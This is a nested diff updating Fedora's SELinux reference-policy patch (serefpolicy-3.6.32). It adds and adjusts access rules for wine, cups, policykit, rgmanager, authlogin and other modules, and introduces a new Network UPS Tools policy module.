++		type wine_exec_t;
++	')
++
++	type $1_wine_t;
++	domain_type($1_wine_t)
++	domain_entry_file($1_wine_t, wine_exec_t)
++	role $2 types $1_wine_t;
++
++	userdom_unpriv_usertype($1, $1_wine_t)
++	userdom_manage_tmpfs_role($2, $1_wine_t)
++
++	domain_mmap_low_type($1_wine_t)
++	tunable_policy(`mmap_low_allowed',`
++		domain_mmap_low($1_wine_t)
++	')
++
++	allow $1_wine_t self:process { execmem execstack };
++	allow $3 $1_wine_t:process { getattr ptrace noatsecure signal_perms };
++	domtrans_pattern($3, wine_exec_t, $1_wine_t)
++	corecmd_bin_domtrans($1_wine_t, $1_t)
++
++	optional_policy(`
++		xserver_common_app($1_wine_t)
++		xserver_role($1_r, $1_wine_t)
++	')
++')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/wine.te serefpolicy-3.6.32/policy/modules/apps/wine.te
 --- nsaserefpolicy/policy/modules/apps/wine.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/wine.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/wine.te	2009-10-07 16:37:55.000000000 -0400
 @@ -9,20 +9,46 @@
  type wine_t;
  type wine_exec_t;
@@ -5284,7 +5367,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/corenetwork.te.in serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in
 --- nsaserefpolicy/policy/modules/kernel/corenetwork.te.in	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-05 17:13:25.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/corenetwork.te.in	2009-10-07 16:06:40.000000000 -0400
 @@ -65,6 +65,7 @@
  type server_packet_t, packet_type, server_packet_type;
  
@@ -5350,7 +5433,7 @@ diff -b -B --ignore-all-space --exclude-
  network_port(pop, tcp,106,s0, tcp,109,s0, tcp,110,s0, tcp,143,s0, tcp,220,s0, tcp,993,s0, tcp,995,s0, tcp,1109,s0)
  network_port(portmap, udp,111,s0, tcp,111,s0)
  network_port(postfix_policyd, tcp,10031,s0)
-@@ -173,27 +186,33 @@
+@@ -173,27 +186,34 @@
  network_port(sap, tcp,9875,s0, udp,9875,s0)
  network_port(smbd, tcp,137-139,s0, tcp,445,s0)
  network_port(smtp, tcp,25,s0, tcp,465,s0, tcp,587,s0)
@@ -5374,6 +5457,7 @@ diff -b -B --ignore-all-space --exclude-
  network_port(transproxy, tcp,8081,s0)
  type utcpserver_port_t, port_type; dnl network_port(utcpserver) # no defined portcon
  network_port(uucpd, tcp,540,s0)
++network_port(ups, tcp,3493,s0)
  network_port(varnishd, tcp,6081,s0, tcp,6082,s0)
 +network_port(virt_migration, tcp,49152,s0)
 +portcon tcp 49153-49216 gen_context(system_u:object_r:virt_migration_port_t,s0)
@@ -5387,7 +5471,7 @@ diff -b -B --ignore-all-space --exclude-
  network_port(xdmcp, udp,177,s0, tcp,177,s0)
  network_port(xen, tcp,8002,s0)
  network_port(xfs, tcp,7100,s0)
-@@ -222,6 +241,8 @@
+@@ -222,6 +242,8 @@
  type node_t, node_type;
  sid node gen_context(system_u:object_r:node_t,s0 - mls_systemhigh)
  
@@ -8863,7 +8947,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/xguest.te serefpolicy-3.6.32/policy/modules/roles/xguest.te
 --- nsaserefpolicy/policy/modules/roles/xguest.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/roles/xguest.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/roles/xguest.te	2009-10-06 15:49:56.000000000 -0400
 @@ -36,11 +36,17 @@
  # Local policy
  #
@@ -8882,7 +8966,15 @@ diff -b -B --ignore-all-space --exclude-
  		files_dontaudit_getattr_boot_dirs(xguest_t)
  		files_search_mnt(xguest_t)
  
-@@ -67,7 +73,11 @@
+@@ -49,6 +55,7 @@
+ 		fs_manage_noxattr_fs_dirs(xguest_t)
+ 		fs_getattr_noxattr_fs(xguest_t)
+ 		fs_read_noxattr_fs_symlinks(xguest_t)
++		fs_mount_fusefs(xguest_t)
+ 
+ 		auth_list_pam_console_data(xguest_t)
+ 
+@@ -67,7 +74,11 @@
  ')
  
  optional_policy(`
@@ -8895,7 +8987,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -75,9 +85,13 @@
+@@ -75,9 +86,15 @@
  ')
  
  optional_policy(`
@@ -8905,6 +8997,8 @@ diff -b -B --ignore-all-space --exclude-
 +optional_policy(`
  	tunable_policy(`xguest_connect_network',`
  		networkmanager_dbus_chat(xguest_t)
++		corenet_tcp_connect_pulseaudio_port(xguest_t)
++		corenet_tcp_connect_ipp_port(xguest_t)
  	')
  ')
  
@@ -8955,7 +9049,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	All of the rules required to administrate 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.te serefpolicy-3.6.32/policy/modules/services/abrt.te
 --- nsaserefpolicy/policy/modules/services/abrt.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-06 10:15:23.000000000 -0400
 @@ -75,6 +75,7 @@
  
  corecmd_exec_bin(abrt_t)
@@ -8964,7 +9058,7 @@ diff -b -B --ignore-all-space --exclude-
  
  corenet_tcp_connect_http_port(abrt_t)
  
-@@ -105,13 +106,22 @@
+@@ -105,13 +106,29 @@
  	dbus_system_bus_client(abrt_t)
  ')
  
@@ -8972,6 +9066,13 @@ diff -b -B --ignore-all-space --exclude-
 +	nsplugin_read_rw_files(abrt_t)
 +')
 +
++optional_policy(`
++        policykit_dbus_chat(abrt_t)
++	policykit_domtrans_auth(abrt_t)
++	policykit_read_lib(abrt_t)
++	policykit_read_reload(abrt_t)
++')
++
  # to install debuginfo packages 
  optional_policy(`
 -	rpm_manage_db(abrt_t)
@@ -11256,7 +11357,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/consolekit.te serefpolicy-3.6.32/policy/modules/services/consolekit.te
 --- nsaserefpolicy/policy/modules/services/consolekit.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/consolekit.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/consolekit.te	2009-10-06 10:15:04.000000000 -0400
 @@ -62,12 +62,15 @@
  
  init_telinit(consolekit_t)
@@ -12049,7 +12150,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/local/linuxprinter/ppd(/.*)?      gen_context(system_u:object_r:cupsd_rw_etc_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/cups.te serefpolicy-3.6.32/policy/modules/services/cups.te
 --- nsaserefpolicy/policy/modules/services/cups.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/cups.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/cups.te	2009-10-06 10:24:14.000000000 -0400
 @@ -23,6 +23,9 @@
  type cupsd_initrc_exec_t;
  init_script_file(cupsd_initrc_exec_t)
@@ -12116,7 +12217,7 @@ diff -b -B --ignore-all-space --exclude-
  
  userdom_dontaudit_use_unpriv_user_fds(cupsd_config_t)
  userdom_dontaudit_search_user_home_dirs(cupsd_config_t)
-+userdom_read_user_tmp_files(cupsd_config_t)
++userdom_rw_user_tmp_files(cupsd_config_t)
  
  cups_stream_connect(cupsd_config_t)
  
@@ -12158,7 +12259,15 @@ diff -b -B --ignore-all-space --exclude-
  kernel_read_system_state(cups_pdf_t)
  
  files_read_etc_files(cups_pdf_t)
-@@ -601,6 +622,9 @@
+@@ -556,6 +577,7 @@
+ miscfiles_read_fonts(cups_pdf_t)
+ 
+ userdom_home_filetrans_user_home_dir(cups_pdf_t)
++userdom_user_home_dir_filetrans_pattern(cups_pdf_t, { file dir })
+ userdom_manage_user_home_content_dirs(cups_pdf_t)
+ userdom_manage_user_home_content_files(cups_pdf_t)
+ 
+@@ -601,6 +623,9 @@
  read_lnk_files_pattern(hplip_t, hplip_etc_t, hplip_etc_t)
  files_search_etc(hplip_t)
  
@@ -13050,7 +13159,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/cache/hald(/.*)?			gen_context(system_u:object_r:hald_cache_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/hal.if serefpolicy-3.6.32/policy/modules/services/hal.if
 --- nsaserefpolicy/policy/modules/services/hal.if	2009-07-28 13:28:33.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/hal.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/hal.if	2009-10-07 14:43:47.000000000 -0400
 @@ -413,3 +413,21 @@
  	files_search_pids($1)
  	manage_files_pattern($1, hald_var_run_t, hald_var_run_t)
@@ -13224,7 +13333,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/howl.te serefpolicy-3.6.32/policy/modules/services/howl.te
 --- nsaserefpolicy/policy/modules/services/howl.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/howl.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/howl.te	2009-10-06 15:44:07.000000000 -0400
 @@ -30,7 +30,7 @@
  
  kernel_read_network_state(howl_t)
@@ -13387,7 +13496,7 @@ diff -b -B --ignore-all-space --exclude-
 +/root/\.forward		--	gen_context(system_u:object_r:mail_forward_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/mta.if serefpolicy-3.6.32/policy/modules/services/mta.if
 --- nsaserefpolicy/policy/modules/services/mta.if	2009-07-29 15:15:33.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/mta.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/mta.if	2009-10-07 16:49:03.000000000 -0400
 @@ -311,6 +311,7 @@
  	allow $1 mail_spool_t:dir list_dir_perms;
  	create_files_pattern($1, mail_spool_t, mail_spool_t)
@@ -13404,10 +13513,12 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -471,6 +473,7 @@
+@@ -470,7 +472,8 @@
+ 		type etc_mail_t;
  	')
  
- 	write_files_pattern($1, etc_mail_t, etc_mail_t)
+-	write_files_pattern($1, etc_mail_t, etc_mail_t)
++	manage_files_pattern($1, etc_mail_t, etc_mail_t)
 +	allow $1 etc_mail_t:file setattr;
  ')
  
@@ -14519,6 +14630,255 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nut.fc serefpolicy-3.6.32/policy/modules/services/nut.fc
+--- nsaserefpolicy/policy/modules/services/nut.fc	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/nut.fc	2009-10-07 16:06:40.000000000 -0400
+@@ -0,0 +1,15 @@
++
++/usr/sbin/upsd			--	gen_context(system_u:object_r:upsd_exec_t,s0)		
++
++/usr/sbin/upsmon          	--      gen_context(system_u:object_r:upsmon_exec_t,s0)
++
++/sbin/upsdrvctl			--	 gen_context(system_u:object_r:upsdrvctl_exec_t,s0)
++
++/var/run/nut/upsdrvctl\.pid  	--      gen_context(system_u:object_r:upsdrvctl_var_run_t,s0)
++
++/var/run/nut/upsd\.pid		--	gen_context(system_u:object_r:upsd_var_run_t,s0)
++
++/var/run/nut/upsmon\.pid  	--      gen_context(system_u:object_r:upsmon_var_run_t,s0)
++
++/var/run/nut/usbhid-ups-myups\.pid   --      gen_context(system_u:object_r:upsdrvctl_var_run_t,s0)
++/var/run/nut/usbhid-ups-myups	-s	gen_context(system_u:object_r:upsdrvctl_var_run_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nut.if serefpolicy-3.6.32/policy/modules/services/nut.if
+--- nsaserefpolicy/policy/modules/services/nut.if	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/nut.if	2009-10-07 16:06:40.000000000 -0400
+@@ -0,0 +1,82 @@
++## <summary>SELinux policy for nut - Network UPS Tools </summary>
++
++#####################################
++## <summary>
++##      Execute a domain transition to run upsd.
++## </summary>
++## <param name="domain">
++## <summary>
++##      Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`upsd_domtrans',`
++        gen_require(`
++                type upsd_t, upsd_exec_t;
++        ')
++
++        corecmd_search_bin($1)
++        domtrans_pattern($1,upsd_exec_t,upsd_t)
++
++')
++
++####################################
++## <summary>
++##      Execute a domain transition to run upsmon.
++## </summary>
++## <param name="domain">
++## <summary>
++##      Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`upsmon_domtrans',`
++        gen_require(`
++                type upsmon_t, upsmon_exec_t;
++        ')
++
++        corecmd_search_bin($1)
++        domtrans_pattern($1,upsmon_exec_t,upsmon_t)
++
++')
++
++####################################
++## <summary>
++##      Execute a domain transition to run upsdrvctl.
++## </summary>
++## <param name="domain">
++## <summary>
++##      Domain allowed to transition.
++## </summary>
++## </param>
++#
++interface(`upsdrvctl_domtrans',`
++        gen_require(`
++                type upsdrvctl_t, upsdrvctl_exec_t;
++        ')
++
++        corecmd_search_bin($1)
++        domtrans_pattern($1,upsdrvctl_exec_t,upsdrvctl_t)
++
++')
++
++####################################
++## <summary>
++##      Connect to upsdrvctl over a unix domain
++##      stream socket.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`upsdrvctl_stream_connect',`
++        gen_require(`
++                type upsdrvctl_t, upsdrvctl_var_run_t;
++        ')
++
++        files_search_pids($1)
++        stream_connect_pattern($1, upsdrvctl_var_run_t, upsdrvctl_var_run_t, upsdrvctl_t)
++')
++
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nut.te serefpolicy-3.6.32/policy/modules/services/nut.te
+--- nsaserefpolicy/policy/modules/services/nut.te	1969-12-31 19:00:00.000000000 -0500
++++ serefpolicy-3.6.32/policy/modules/services/nut.te	2009-10-07 16:06:40.000000000 -0400
+@@ -0,0 +1,140 @@
++
++policy_module(nut,1.0.0)
++
++########################################
++#
++# Declarations
++#
++
++type upsd_t;
++type upsd_exec_t;
++init_daemon_domain(upsd_t,upsd_exec_t)
++
++type upsd_var_run_t;
++files_pid_file(upsd_var_run_t)
++
++type upsmon_t;
++type upsmon_exec_t;
++init_daemon_domain(upsmon_t,upsmon_exec_t)
++
++type upsmon_var_run_t;
++files_pid_file(upsmon_var_run_t)
++
++type upsdrvctl_t;
++type upsdrvctl_exec_t;
++init_daemon_domain(upsdrvctl_t, upsdrvctl_exec_t)
++
++type upsdrvctl_var_run_t;
++files_pid_file(upsdrvctl_var_run_t)
++
++permissive upsd_t;
++permissive upsdrvctl_t;
++permissive upsmon_t;
++
++#######################################
++#
++# upsd local policy
++#
++
++allow upsd_t self:capability { setuid setgid };
++
++allow upsd_t self:netlink_route_socket r_netlink_socket_perms;
++allow upsd_t self:unix_dgram_socket { create_socket_perms sendto };
++allow upsd_t self:tcp_socket create_stream_socket_perms;
++
++# pid file
++manage_files_pattern(upsd_t, upsd_var_run_t, upsd_var_run_t)
++manage_dirs_pattern(upsd_t, upsd_var_run_t, upsd_var_run_t)
++manage_sock_files_pattern(upsd_t, upsd_var_run_t, upsd_var_run_t)
++files_pid_filetrans(upsd_t, upsd_var_run_t, { file })
++
++rw_files_pattern(upsd_t, upsdrvctl_var_run_t, upsdrvctl_var_run_t)
++
++corenet_tcp_bind_ups_port(upsd_t)
++corenet_tcp_bind_generic_node(upsd_t)
++
++kernel_read_kernel_sysctls(upsd_t)
++
++files_read_etc_files(upsd_t)
++files_read_usr_files(upsd_t)
++
++sysnet_read_config(upsd_t)
++
++logging_send_syslog_msg(upsd_t)
++
++miscfiles_read_localization(upsd_t)
++
++optional_policy(`
++	upsdrvctl_stream_connect(upsd_t)
++')
++
++######################################
++#
++# upsmon local policy
++#
++
++allow upsmon_t self:capability { dac_override setuid setgid };
++
++allow upsmon_t self:fifo_file rw_fifo_file_perms;
++allow upsmon_t self:netlink_route_socket r_netlink_socket_perms;
++allow upsmon_t self:unix_dgram_socket { create_socket_perms sendto };
++allow upsmon_t self:tcp_socket create_stream_socket_perms;
++
++# pid file
++manage_files_pattern(upsmon_t, upsmon_var_run_t, upsmon_var_run_t)
++manage_dirs_pattern(upsmon_t, upsmon_var_run_t, upsmon_var_run_t)
++files_pid_filetrans(upsmon_t, upsmon_var_run_t, { file })
++
++rw_sock_files_pattern(upsmon_t,upsd_var_run_t,upsd_var_run_t)
++
++corenet_tcp_connect_ups_port(upsmon_t)
++
++corecmd_exec_bin(upsmon_t)
++corecmd_exec_shell(upsmon_t)
++
++kernel_read_kernel_sysctls(upsmon_t)
++kernel_read_system_state(upsmon_t)
++
++files_read_etc_files(upsmon_t)
++
++sysnet_read_config(upsmon_t)
++
++init_read_utmp(upsmon_t)
++
++logging_send_syslog_msg(upsmon_t)
++
++miscfiles_read_localization(upsmon_t)
++
++######################################
++#
++# ups local policy
++#
++
++allow upsdrvctl_t self:capability { dac_override kill setuid setgid };
++allow upsdrvctl_t self:process { signal signull };
++
++allow upsdrvctl_t self:fifo_file rw_fifo_file_perms;
++allow upsdrvctl_t self:unix_dgram_socket { create_socket_perms sendto };
++
++# pid file
++manage_files_pattern(upsdrvctl_t, upsdrvctl_var_run_t, upsdrvctl_var_run_t)
++manage_dirs_pattern(upsdrvctl_t, upsdrvctl_var_run_t, upsdrvctl_var_run_t)
++manage_sock_files_pattern(upsdrvctl_t, upsdrvctl_var_run_t, upsdrvctl_var_run_t)
++files_pid_filetrans(upsdrvctl_t, upsdrvctl_var_run_t, { file sock_file })
++
++corecmd_exec_bin(upsdrvctl_t)
++
++kernel_read_kernel_sysctls(upsdrvctl_t)
++
++dev_rw_generic_usb_dev(upsdrvctl_t)
++
++term_use_unallocated_ttys(upsdrvctl_t)
++
++files_read_etc_files(upsdrvctl_t)
++
++sysnet_read_config(upsdrvctl_t)
++
++logging_send_syslog_msg(upsdrvctl_t)
++
++miscfiles_read_localization(upsdrvctl_t)
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nx.fc serefpolicy-3.6.32/policy/modules/services/nx.fc
 --- nsaserefpolicy/policy/modules/services/nx.fc	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/nx.fc	2009-09-30 16:12:48.000000000 -0400
@@ -15175,7 +15535,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/policykit.te serefpolicy-3.6.32/policy/modules/services/policykit.te
 --- nsaserefpolicy/policy/modules/services/policykit.te	2009-08-18 11:41:14.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/policykit.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/policykit.te	2009-10-06 15:29:56.000000000 -0400
 @@ -36,11 +36,12 @@
  # policykit local policy
  #
@@ -15193,7 +15553,13 @@ diff -b -B --ignore-all-space --exclude-
  
  policykit_domtrans_auth(policykit_t)
  
-@@ -62,27 +63,46 @@
+@@ -57,32 +58,52 @@
+ manage_files_pattern(policykit_t, policykit_var_run_t, policykit_var_run_t)
+ files_pid_filetrans(policykit_t, policykit_var_run_t, { file dir })
+ 
++kernel_read_system_state(policykit_t)
+ kernel_read_kernel_sysctls(policykit_t)
+ 
  files_read_etc_files(policykit_t)
  files_read_usr_files(policykit_t)
  
@@ -15244,7 +15610,7 @@ diff -b -B --ignore-all-space --exclude-
  
  rw_files_pattern(policykit_auth_t, policykit_reload_t, policykit_reload_t)
  
-@@ -92,12 +112,14 @@
+@@ -92,12 +113,14 @@
  manage_files_pattern(policykit_auth_t, policykit_var_run_t, policykit_var_run_t)
  files_pid_filetrans(policykit_auth_t, policykit_var_run_t, { file dir })
  
@@ -15261,7 +15627,7 @@ diff -b -B --ignore-all-space --exclude-
  
  logging_send_syslog_msg(policykit_auth_t)
  
-@@ -106,7 +128,7 @@
+@@ -106,7 +129,7 @@
  userdom_dontaudit_read_user_home_content_files(policykit_auth_t)
  
  optional_policy(`
@@ -15270,7 +15636,7 @@ diff -b -B --ignore-all-space --exclude-
  	dbus_session_bus_client(policykit_auth_t)
  
  	optional_policy(`
-@@ -119,6 +141,14 @@
+@@ -119,6 +142,14 @@
  	hal_read_state(policykit_auth_t)
  ')
  
@@ -15285,7 +15651,7 @@ diff -b -B --ignore-all-space --exclude-
  ########################################
  #
  # polkit_grant local policy
-@@ -126,7 +156,8 @@
+@@ -126,7 +157,8 @@
  
  allow policykit_grant_t self:capability setuid;
  allow policykit_grant_t self:process getattr;
@@ -15295,7 +15661,7 @@ diff -b -B --ignore-all-space --exclude-
  allow policykit_grant_t self:unix_dgram_socket create_socket_perms;
  allow policykit_grant_t self:unix_stream_socket create_stream_socket_perms;
  
-@@ -156,9 +187,12 @@
+@@ -156,9 +188,12 @@
  userdom_read_all_users_state(policykit_grant_t)
  
  optional_policy(`
@@ -15309,7 +15675,7 @@ diff -b -B --ignore-all-space --exclude-
  		consolekit_dbus_chat(policykit_grant_t)
  	')
  ')
-@@ -170,7 +204,8 @@
+@@ -170,7 +205,8 @@
  
  allow policykit_resolve_t self:capability { setuid sys_nice sys_ptrace };
  allow policykit_resolve_t self:process getattr;
@@ -16503,8 +16869,8 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/rgmanager\.pid                --      gen_context(system_u:object_r:rgmanager_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rgmanager.if serefpolicy-3.6.32/policy/modules/services/rgmanager.if
 --- nsaserefpolicy/policy/modules/services/rgmanager.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/rgmanager.if	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,40 @@
++++ serefpolicy-3.6.32/policy/modules/services/rgmanager.if	2009-10-07 09:32:31.000000000 -0400
+@@ -0,0 +1,59 @@
 +## <summary>SELinux policy for rgmanager</summary>
 +
 +#######################################
@@ -16545,10 +16911,29 @@ diff -b -B --ignore-all-space --exclude-
 +        allow $1 rgmanager_t:sem { unix_read unix_write associate read write };
 +')
 +
++########################################
++## <summary>
++##	Connect to rgmanager over an unix stream socket.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`rgmanager_stream_connect',`
++	gen_require(`
++		type rgmanager_t, rgmanager_var_run_t;
++	')
++
++	files_search_pids($1)
++	stream_connect_pattern($1, rgmanager_var_run_t, rgmanager_var_run_t, rgmanager_t)
++')
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rgmanager.te serefpolicy-3.6.32/policy/modules/services/rgmanager.te
 --- nsaserefpolicy/policy/modules/services/rgmanager.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/rgmanager.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,54 @@
++++ serefpolicy-3.6.32/policy/modules/services/rgmanager.te	2009-10-07 09:33:02.000000000 -0400
+@@ -0,0 +1,58 @@
 +
 +policy_module(rgmanager,1.0.0)
 +
@@ -16603,6 +16988,10 @@ diff -b -B --ignore-all-space --exclude-
 +
 +permissive rgmanager_t;
 +
++optional_policy(`
++	ccs_stream_connect(rgmanager_t)
++')
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/rhcs.fc serefpolicy-3.6.32/policy/modules/services/rhcs.fc
 --- nsaserefpolicy/policy/modules/services/rhcs.fc	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/services/rhcs.fc	2009-09-30 16:12:48.000000000 -0400
@@ -17287,7 +17676,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ricci.te serefpolicy-3.6.32/policy/modules/services/ricci.te
 --- nsaserefpolicy/policy/modules/services/ricci.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/ricci.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/ricci.te	2009-10-07 09:30:15.000000000 -0400
 @@ -227,6 +227,10 @@
  ricci_stream_connect_modclusterd(ricci_modcluster_t)
  
@@ -17307,7 +17696,7 @@ diff -b -B --ignore-all-space --exclude-
  
  # log files
  allow ricci_modclusterd_t ricci_modcluster_var_log_t:dir setattr;
-@@ -306,6 +311,10 @@
+@@ -306,12 +311,20 @@
  sysnet_dns_name_resolve(ricci_modclusterd_t)
  
  optional_policy(`
@@ -17318,7 +17707,17 @@ diff -b -B --ignore-all-space --exclude-
  	ccs_domtrans(ricci_modclusterd_t)
  	ccs_stream_connect(ricci_modclusterd_t)
  	ccs_read_config(ricci_modclusterd_t)
-@@ -440,6 +449,10 @@
+ ')
+ 
+ optional_policy(`
++	rgmanager_stream_connect(ricci_modclusterd_t)
++')
++
++optional_policy(`
+ 	unconfined_use_fds(ricci_modclusterd_t)
+ ')
+ 
+@@ -440,6 +453,10 @@
  files_read_usr_files(ricci_modstorage_t)
  files_read_kernel_modules(ricci_modstorage_t)
  
@@ -17329,7 +17728,7 @@ diff -b -B --ignore-all-space --exclude-
  storage_raw_read_fixed_disk(ricci_modstorage_t)
  
  term_dontaudit_use_console(ricci_modstorage_t)
-@@ -457,6 +470,10 @@
+@@ -457,6 +474,10 @@
  mount_domtrans(ricci_modstorage_t)
  
  optional_policy(`
@@ -22183,7 +22582,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/authlogin.if serefpolicy-3.6.32/policy/modules/system/authlogin.if
 --- nsaserefpolicy/policy/modules/system/authlogin.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/authlogin.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/authlogin.if	2009-10-07 13:42:42.000000000 -0400
 @@ -40,17 +40,76 @@
  ##	</summary>
  ## </param>
@@ -22270,7 +22669,7 @@ diff -b -B --ignore-all-space --exclude-
  	# for fingerprint readers
  	dev_rw_input_dev($1)
  	dev_rw_generic_usb_dev($1)
-@@ -86,27 +143,44 @@
+@@ -86,27 +143,45 @@
  	mls_process_set_level($1)
  	mls_fd_share_all_levels($1)
  
@@ -22291,6 +22690,7 @@ diff -b -B --ignore-all-space --exclude-
 -	logging_send_audit_msgs($1)
 -	logging_send_syslog_msg($1)
  	logging_set_loginuid($1)
++	logging_set_tty_audit($1)
  
  	seutil_read_config($1)
  	seutil_read_default_contexts($1)
@@ -22328,7 +22728,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  ')
  
-@@ -258,6 +332,7 @@
+@@ -258,6 +333,7 @@
  		type auth_cache_t;
  	')
  
@@ -22336,7 +22736,7 @@ diff -b -B --ignore-all-space --exclude-
  	manage_files_pattern($1, auth_cache_t, auth_cache_t)
  ')
  
-@@ -305,19 +380,16 @@
+@@ -305,19 +381,16 @@
  	dev_read_rand($1)
  	dev_read_urand($1)
  
@@ -22361,7 +22761,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	optional_policy(`
-@@ -328,6 +400,29 @@
+@@ -328,6 +401,29 @@
  	optional_policy(`
  		samba_stream_connect_winbind($1)
  	')
@@ -22391,7 +22791,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -352,6 +447,7 @@
+@@ -352,6 +448,7 @@
  
  	auth_domtrans_chk_passwd($1)
  	role $2 types chkpwd_t;
@@ -22399,7 +22799,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -1129,6 +1225,32 @@
+@@ -1129,6 +1226,32 @@
  
  ########################################
  ## <summary>
@@ -22432,7 +22832,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Manage all files on the filesystem, except
  ##	the shadow passwords and listed exceptions.
  ## </summary>
-@@ -1254,6 +1376,25 @@
+@@ -1254,6 +1377,25 @@
  
  ########################################
  ## <summary>
@@ -22458,7 +22858,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to write to
  ##	login records files.
  ## </summary>
-@@ -1395,6 +1536,14 @@
+@@ -1395,6 +1537,14 @@
  	')
  
  	optional_policy(`
@@ -22473,7 +22873,7 @@ diff -b -B --ignore-all-space --exclude-
  		nis_use_ypbind($1)
  	')
  
